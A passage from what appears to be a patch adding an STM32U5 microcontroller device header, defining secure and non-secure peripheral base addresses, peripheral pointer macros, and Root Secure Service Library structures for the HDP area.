(AHB1PERIPH_BASE_S + 0x13400UL) +#define GTZC_MPCBB5_BASE_S (AHB1PERIPH_BASE_S + 0x13800UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define GPIOJ_BASE_S (AHB2PERIPH_BASE_S + 0x02400UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_OTG_HS_BASE_S (AHB2PERIPH_BASE_S + 0x20000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define OCTOSPIM_R_BASE_S (AHB2PERIPH_BASE_S + 0xA4000UL) /*!< OCTOSPIM control registers base address */ +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_S (AHB2PERIPH_BASE_S + 0xAF400UL) +#define FMC_R_BASE_S (AHB2PERIPH_BASE_S + 0xB0400UL) /*!< FMC control registers base address */ +#define HSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB3400UL) +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_S (AHB2PERIPH_BASE_S + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1300UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + +/* GFXMMU secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_S (0x34000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0xC00000UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + +/* USB OTG registers Base address */ +#define USB_OTG_GLOBAL_BASE (0x0000UL) +#define USB_OTG_DEVICE_BASE (0x0800UL) +#define USB_OTG_IN_ENDPOINT_BASE (0x0900UL) +#define USB_OTG_OUT_ENDPOINT_BASE (0x0B00UL) +#define USB_OTG_EP_REG_SIZE (0x0020UL) +#define USB_OTG_HOST_BASE (0x0400UL) +#define USB_OTG_HOST_PORT_BASE (0x0440UL) +#define USB_OTG_HOST_CHANNEL_BASE (0x0500UL) +#define USB_OTG_HOST_CHANNEL_SIZE (0x0020UL) +#define USB_OTG_PCGCCTL_BASE (0x0E00UL) +#define USB_OTG_FIFO_BASE (0x1000UL) +#define USB_OTG_FIFO_SIZE (0x1000UL) + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART2_NS ((USART_TypeDef *) USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *) USART6_BASE_NS) +#define I2C5_NS ((I2C_TypeDef *) I2C5_BASE_NS) +#define I2C6_NS ((I2C_TypeDef *) I2C6_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *) UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) +#define LTDC_NS ((LTDC_TypeDef *) LTDC_BASE_NS) +#define LTDC_Layer1_NS ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_NS) +#define LTDC_Layer2_NS ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_NS) +#define DSI_NS ((DSI_TypeDef *) DSI_BASE_NS) +#define REFBIAS_NS ((REFBIAS_TypeDef *) REFBIAS_BASE_NS) +#define DPHY_NS ((DPHY_TypeDef *) DPHY_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP2_NS ((OPAMP_TypeDef *) OPAMP2_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP2_NS ((COMP_TypeDef *) COMP2_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_SRAM5_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define DMA2D_NS ((DMA2D_TypeDef *) DMA2D_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define DCACHE2_NS ((DCACHE_TypeDef *) DCACHE2_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GTZC_MPCBB5_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_NS) +#define GFXMMU_NS ((GFXMMU_TypeDef *) GFXMMU_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define GPIOJ_NS ((GPIO_TypeDef *) GPIOJ_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_OTG_HS_NS ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define DLYB_OCTOSPI2_NS ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_NS) +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define OCTOSPIM_NS ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define OCTOSPI2_NS ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_NS) +#define HSPI1_NS ((HSPI_TypeDef *) HSPI1_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART2_S ((USART_TypeDef *) USART2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define USART6_S ((USART_TypeDef *) USART6_BASE_S) +#define I2C5_S ((I2C_TypeDef *) I2C5_BASE_S) +#define I2C6_S ((I2C_TypeDef *) I2C6_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *) UCPD1_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) +#define LTDC_S ((LTDC_TypeDef *) LTDC_BASE_S) +#define LTDC_Layer1_S ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_S) +#define LTDC_Layer2_S ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_S) +#define DSI_S ((DSI_TypeDef *) DSI_BASE_S) +#define REFBIAS_S ((REFBIAS_TypeDef *) REFBIAS_BASE_S) +#define DPHY_S ((DPHY_TypeDef *) DPHY_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP2_S ((OPAMP_TypeDef *) OPAMP2_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP2_S ((COMP_TypeDef *) COMP2_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) 